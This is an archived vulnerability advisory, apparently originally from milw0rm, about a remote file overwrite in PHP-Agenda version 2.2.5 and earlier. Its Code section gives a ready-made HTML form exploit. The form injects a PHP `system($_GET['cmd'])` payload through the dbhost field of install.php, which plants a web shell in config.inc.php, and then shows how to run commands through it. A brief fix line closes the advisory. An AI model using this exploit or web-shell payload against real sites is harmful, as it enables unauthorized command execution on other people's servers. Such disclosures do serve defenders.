PHP-Agenda <= 2.2.5 - Remote File Overwriting Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

PHP-Agenda version <= 2.2.5 remote file overwrite vulnerabilit


                                                *******   Salvatore &#34;drosophila&#34; Fresta   *******

[+] Application: PHP-agenda
[+] Version: &#60;= 2.2.5
[+] Website: http://php-agenda.sourceforge.net

[+] Bugs: [A] Remote File Overwriting

[+] Exploitation: Remote
[+] Date: 10 Apr 2009

[+] Discovered by: Salvatore &#34;drosophila&#34; Fresta
[+] Author: Salvatore &#34;drosophila&#34; Fresta
[+] Contact: e-mail: [email protected]


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Remote File Overwriting

[-] Risk: hight
[-] File affected: install.php

This bug allows a guest to overwrite config.inc.php
inserting PHP code.


*************************************************

[+] Code


- [A] Remote File Overwriting

&#60;html&#62;
  &#60;head&#62;PHP-agenda &#60;= 2.2.5 - Remote File Overwriting&#60;/head&#62;
  &#60;body&#62;
    &#60;form action=&#34;http://www.site.com/path/install.php&#34; method=&#34;post&#34;&#62;
      &#60;input type=&#34;text&#34; name=&#34;dbhost&#34; size=&#34;30&#34; value=&#34;&#39;; system($_GET[&#39;cmd&#39;]); echo &#39;&#34;&#62;
      &#60;input type=&#34;submit&#34; value=&#34;Exploit!&#34; &#62;
    &#60;/form&#62;
  &#60;/body&#62;
&#60;/head&#62;

To execute commands:

http://www.site.com/path/config.inc.php?cmd=uname -a


*************************************************

[+] Fix

You must delete install.php after installation.


*************************************************

# milw0rm.com [2009-04-10]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1